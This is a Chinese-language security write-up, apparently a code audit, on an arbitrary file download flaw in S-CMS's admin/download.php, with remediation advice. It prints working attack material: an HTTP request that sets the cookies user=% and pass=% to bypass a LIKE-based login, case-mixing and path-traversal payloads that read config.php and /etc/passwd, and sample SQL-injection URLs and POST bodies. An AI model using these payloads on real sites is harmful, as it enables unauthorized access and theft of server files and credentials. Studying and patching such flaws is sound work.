s-cms代码审计----任意文件下载
字数 939 2025-08-29 08:31:35
S-CMS 任意文件下载漏洞分析与利用
漏洞概述
S-CMS 存在一个任意文件下载漏洞,攻击者可以通过构造特殊的请求绕过身份验证并下载服务器上的任意文件(包括PHP源码文件)。该漏洞主要涉及两个关键点:
- 使用 LIKE 操作符进行身份验证时的绕过
- 文件后缀名检查的绕过
漏洞分析
1. 漏洞文件位置
漏洞存在于 admin/download.php 文件中,该文件用于处理文件下载请求。
2. 关键代码分析
身份验证部分
if($_COOKIE["user"]=="" || $_COOKIE["pass"]==""){
// 清除cookie并重定向
} else {
$sql="select * from SL_admin where A_login like '".filter_keyword($_COOKIE["user"])."' and A_pwd like '".filter_keyword($_COOKIE["pass"])."'";
$result=mysqli_query($conn,$sql);
$row=mysqli_fetch_assoc($result);
if(mysqli_num_rows($result)>0){
// 验证通过
} else {
// 清除cookie并重定向
}
}
漏洞点:
- 使用 LIKE 操作符而非等号(=)进行身份验证
- 虽然使用了
filter_keyword函数过滤输入,但可以使用通配符绕过
文件下载部分
$DownName=$_GET["DownName"];
if(strpos($DownName,".php")!==false){
die("禁止下载PHP格式文件!");
}
downtemplateAction($DownName);
漏洞点:
- 仅检查小写的 ".php" 后缀
- 未对文件路径进行限制,可目录穿越
3. 漏洞利用原理
-
身份验证绕过:
- 设置 cookie
user=%和pass=% - SQL 语句变为:
... where A_login like '%' and A_pwd like '%' - 这将匹配数据库中的任何记录,绕过身份验证
- 设置 cookie
-
文件后缀名绕过:
- 使用大小写混淆,如 ".Php" 代替 ".php"
- 绕过
strpos检查
漏洞利用
1. 基本利用方式
构造如下HTTP请求:
GET /3.gov.php/admin/download.php?DownName=download.Php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: user=%;pass=%;
Connection: close
Upgrade-Insecure-Requests: 1
2. 利用扩展
-
下载任意文件:
- 修改
DownName参数为其他文件路径 - 例如:
DownName=../../config.php下载配置文件
- 修改
-
目录穿越:
- 使用
../遍历目录 - 例如:
DownName=../../../etc/passwd
- 使用
-
其他后缀名绕过:
- 尝试不同的大小写组合:
.pHp,.pHP等 - 尝试空字节截断(取决于PHP版本)
- 尝试不同的大小写组合:
修复建议
-
身份验证修复:
- 使用等号(=)而非 LIKE 进行身份验证
- 添加更强的输入过滤
-
文件下载修复:
- 使用白名单限制可下载文件类型
- 规范化文件路径,防止目录穿越
- 使用更严格的文件后缀检查(如正则表达式,不区分大小写)
-
代码示例修复:
// 修复后的身份验证
$sql = "select * from SL_admin where A_login = '".mysqli_real_escape_string($conn, $_COOKIE["user"])."' and A_pwd = '".mysqli_real_escape_string($conn, $_COOKIE["pass"])."'";
// 修复后的文件下载检查
$allowed_ext = ['pdf', 'doc', 'docx']; // 白名单
$ext = strtolower(pathinfo($DownName, PATHINFO_EXTENSION));
if(!in_array($ext, $allowed_ext) || strpos($DownName, '../') !== false){
die("非法文件类型或路径!");
}
其他相关漏洞
根据文章,S-CMS 还存在多处SQL注入漏洞:
-
示例1:
http://127.0.0.1/3.gov.php/wap_index.php?type=newsinfo&S_id=112489097%20or%20ascii(substr(user(),1,1))=114 -
示例2:
http://127.0.0.1/3.gov.php/js/pic.php?P_id=10440322488%20or%20ascii(substr(user(),1,1))=113 -
示例3(POST注入):
POST /3.gov.php/js/scms.php?action=comment HTTP/1.1 ... page=aaaaa11' or if(substr(user(),1,1)='r',sleep(5),1) --+
这些漏洞表明S-CMS在输入过滤和SQL查询构建方面存在系统性安全问题。